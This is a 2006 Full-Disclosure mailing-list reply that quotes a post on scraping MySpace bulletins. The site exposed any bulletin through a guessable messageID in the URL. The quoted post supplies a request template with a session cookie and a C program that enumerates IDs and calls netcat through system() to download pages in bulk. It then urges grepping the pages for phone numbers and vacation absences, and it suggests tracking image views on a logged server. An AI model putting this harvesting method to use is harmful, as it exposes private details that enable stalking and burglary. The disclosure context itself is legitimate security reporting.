Date: Sat Jul  1 17:04:20 2006
From: fd at g-0.org (GroundZero Security)
Subject: Data Mining Myspace Bulletins

Couldn't you have used sockets? Its just a simple connect()
whats the big deal..Using netcat trusting the env and using system() is baaad :-)

----- Original Message ----- 
From: "John Hackenger" <stderr@...dora-security.com>
To: <full-disclosure@...ts.grok.org.uk>
Sent: Saturday, July 01, 2006 12:38 AM
Subject: [Full-disclosure] Data Mining Myspace Bulletins


> Myspace Bulletins: The good, the bad, and the ugly
> 
> Data Mining Myspace, a case study
> 
> Author: stderr (stderr@...dora-security.com)
> http://stderr.linuxinit.net
> 
> Original release:
> http://www.pandora-security.com
> 
> ------------------------------------------------------
> 
> 1. Abstract
> 
> We all know about myspace.com, and I'll go ahead and admit
> that I actually have an account to keep up with friends.
> Myspace is full of a bunch of idiots, but it can be a great
> tool for keeping up with people... when used properly.
> 
> Myspace has long been a hacker playground, you may remember
> the infamous "Samy is my hero" "worm". The "worm" took advantage
> of several poor input validation techniques which were being
> employed. Each person that went to a page with his script in it,
> automatically sent him a friend request. After this alarming
> stunt, Myspace fixed a lot of the injection vulnerabilities.
> 
> ------------------------------------------------------
> 
> 2. Introduction to Bulletins
> 
> On Myspace, you can send "bulletins" which are sent to all
> of the friends on your list. That way if you're going on
> vacation or something, you can let ALL of your friends know
> what's happening by sending only one message. Most people
> assume that only their friends can read the bulletins they
> post... they are sadly mistaken.
> 
> When you open up a bulletin, you go to a url like the following.
> 
> http://bulletin.myspace.com/index.cfm?fuseaction=bulletin.read&messageID=111111111
> 
> Yes, you guessed it. If you change the messageID number,
> you can view any bulletin on Myspace that hasn't yet
> expired. Now, if we could just collect a ton of bulletins,
> then we could surely find some juicy information like
> cell phone numbers, when people are leaving for vacation,
> where they're going... the list goes on and on.
> 
> The implementation of bulletins so that everyone can view them
> may be intentional, but most people assume that bulletins are
> only readable by friends. Because of this belief, many people
> post personal details in bulletins, never expecting people
> like you to read them. The mere existence of the "Delete from
> friends" button implies that only friends should be able to
> read your bulletins.
> 
> ------------------------------------------------------
> 
> 3. Mining the data
> 
> I was able to whip together a small C program that generates
> urls, retrieves the bulletin, and saves the html to a file.
> Once all of the data has been downloaded, it's easy to parse
> through using a tool like grep.
> 
> In order for this program to work, you need to download a
> tool called 'netcat'. You will also need to get your cookie
> once you're logged into myspace, so that you can view the
> bulletins.
> 
> First of all, let's create a new file named "request.txt"
> The contents should look something like this, but you'll need
> to change the cookie to match yours.
> 
> =======================================================
> 
> Host: bulletin.myspace.com
> User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7.13)
> Gecko/20060414
> Accept: application/x-shockwave-flash,text/xml,application/xml,application/xhtml+xml,text/html
> ;q=0.9,text/plain;q=0.8,video/x-mng,image/png,image/jpeg,image/gif;q=0.2,text/css,*/*;q=0.1
> Accept-Language: en-us,en;q=0.5
> Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
> Keep-Alive: 300
> Connection: keep-alive
> Cookie: TIMEZONE=3;
> ODZDBXZG9tY#luPXXhaG#vJSRsZD1DXEWQSASLKJFLAJF;ODIJ;AEIJOIJDFOIAJEDKL124DADK
> ADS;IFJO;IEAJOIFEA89U;FIO;23A;OIJDSJAOIJOIEJWAIJLDOISJFOIJ39812H12O8JAW098320AJDSLKJ32AOJ12LIJ4
> A;OIJ;S;OAIJMCOISJAO8JOIRA2J38U2398JIOAJDFKANKJCNLUIHA8W734HLAIL2L3ANUHDLUIAHF87Y3LAHAKDJHF8L83
> 5PVVTJmRhdGluZz0wJmRyaW5rZXI9MCZlZHVjYXRpb25pZD0x;
> NGUserID=a258ca5-2341-1231956342-6;
> MYSPACE=myspace; AUTOSONGPLAY=0;
> UNIQUELOGINTAKEOVER_10207218=%7Bts%20%272006-06-2df%047%3A32%x
> A18%27%7D; MSCOUNTRY=US; FRNDIDxr2g=55555555; rsi_want=0;
> COUNTRYCODE=MFMGCisGAQQBgjdYA7GgRTBDB
> gorBgEEAYI3WAMBoDUwMwIDAgABAgJmAwICAMAECHndruAVl3qwBBBgdJZ9K7N%2F34aRlhOz2UArBAi%2BqGfSVTRm7w%3
> D%3D; MSCulture=IP=127.0.0.1&IPCulture=en-US&PreferredCulture=en-US&Country=US;
> MYUSERINFO=saoijaoi;joiewjaoijdosiajdklajfoijADFJIEAJKDJFIJIEAdlkjlijelaijalidjflijaslijldsijli
> AIDFJIAEwjfoiajdfeAIJDfAOJeagEOJeAJDalkjdadfAEJaijadlijfdilakmckj85423alkjdklafjdlkajdklajlkjea
> aDJFAILJJae'oifja;3o4ijmaidjalkfmaijkladfjalkjfioeajlkmdmc,jkjiojoia3wjiojfoiejaoija;odijflkjda
> ALOAJKEIOAJF3ea:LKfoaidjiajsioajlk3jaijdkfhfkjghncx,jlkjaweoijroiajoijadsljfdlksajfij32lja;dljf
> aDJFOA:#oKkdjflkaj;ijIOJilj;ioje;ioHiuhNKJhUGJJikhiugygGTYFTJHKHIUgyuhihiugI:HUgugyfTHDGfyjgfff
> 2FADFaEFeaDfagFhGHggFgadcAweadddafdasfeafgeaeageaijlkfjai;hj;JIOJlihluhkHUIHKhuilgliuHLIUHLHhhh
> h0DSAFOOJaewoi'jfa;ilj;oi:IOnjiehjioh;iH:IH;iohi;hg;juGYFyjfyjflukhaljdkfaejoijlajdlifjealijddd
> WIaOJFoa;ejklijdaFOJEaIjo:IJEAOIJEoajf:EOJAjdailjdf;ilaj;lijioj;oije;aojojaoijoiej;oaijo;ij;oij
> hNaoijao;ijdoifj;ckxx,jaiojeifajkjnaklhugi834829ijljadflkj3alijadlkjfaeljaclijeakjdoijgealijdcd
> Fsaijo;ij3;oaij;oijod;iasj;oijx90asjoij3alij;ioadjf;iojeo;iaj;oij;dkjfkdjlakjdlska;
> LASTUSERCLICK=%7bts+'2006-06-21+15%3a64%3a52'%1f;
> CAPTCHA=02236762-de4c-133a-a5e2-ff558427f513
> 
> =======================================================
> 
> Now that you have the request.txt file all setup, let's go
> ahead and compile the C program that will mine the data.
> 
> scan.c
> 
> =======================================================
> 
> /*************************************************
>  * scan.c -- Myspace bulletin miner              *
>  * Author: stderr (stderr@...dora-security.com)  *
>  * Usage: ./scan 1164147677 1164147678           *
>  * The ending ID should be greater than the      *
>  * starting ID, that or you could always         *
>  * reverse the loop in the body of the program.  *
>  *                                               *
>  * (Note) I'm sure this could be done a lot more *
>  * elegantly, maybe even with perl or something  *
>  * But... this is just a proof of concept, so..  *
>  * No hating :)                                  *
>  *************************************************/
> 
> #include <stdio.h>
> #include <stdlib.h>
> #include <string.h>
> 
> void usage(char *name);
> 
> int main(int argc, char *argv[])
> {
>     double id, s_id, e_id;
>     char x, url[256];
>     FILE *in_file, *out_file;
> 
>     if (argc != 3) {
>        usage(argv[0]);
>        exit(1);
>     }
> 
>     s_id = atoi(argv[1]);
>     e_id = atoi(argv[2]);
> 
>     if (s_id >= e_id) {
>        printf("The ending ID must be greater than the starting ID\n");
>        exit(1);
>     }
> 
>     for (id = s_id; id < e_id; ++id) {
>         in_file = fopen("request.txt","r");
>         out_file = fopen("new_request.txt","w");
> 
>         fprintf(out_file,"GET
> /index.cfm?fuseaction=bulletin.read&messageID=%0.lf HTTP/1.1\n",id);
>         while ((x=fgetc(in_file)) != EOF)
>               fputc(x,out_file);
>         fclose(in_file);
>         fclose(out_file);
> 
>         printf("Downloading Bulletin #%0.lf ... %0.lf bulletins
> left.\r",id, e_id-id);
>         sprintf(url,"nc -w2 bulletin.myspace.com 80 < new_request.txt
> > bulletin/%0.lf.html\n",id);
>         system(url);
>     }
>     system("pause");
>     return 0;
> }
> 
> void usage(char *name)
> {
>      printf("%s <start message id> <ending message id>\n",name);
> }
> 
> =======================================================
> 
> Now compile the program, and run something like this...
> 
> ./scan 4264287677 4264287777
> 
> (Note) Before running the program, you'll need to make a directory
> called "bulletin" so that the program will save the bulletins to
> their own directory. If you don't like that setup, then change the
> code.
> 
> You should now have a bunch of bulletins downloaded, now just grep
> through the the "bulletin" directory for the data that you're looking
> for.
> 
> ------------------------------------------------------
> 
> 4. More fun with Bulletins
> 
> If you have a Myspace account, you've undoubtedly encountered a lot of spam
> bulletins. Another idea to play with bulletins is be to add an image
> in the bulletin, and start forwarding it around. The image that's pointed
> to should be on a server where you have access to the logs. Once people
> start circulating the bulletin, it's possible to see how many times it's
> been forwarded by looking at the referrer. To the best of my knowledge
> there's no way of getting the name of each person that reads the
> bulletin, but you will obviously have the name of each person that
> forwards the bulletin.
> 
> ------------------------------------------------------
> 
> 5. Closing Statements
> 
> Whether this is a "flaw" that is going to be closed remains to be seen.
> As always, just be careful with the information you're posting on the
> internet. You never know who's watching.
> 
> Shouts: zipk0der, XPlicit, exvitel, Sonic, and Darcy
> 
> _______________________________________________
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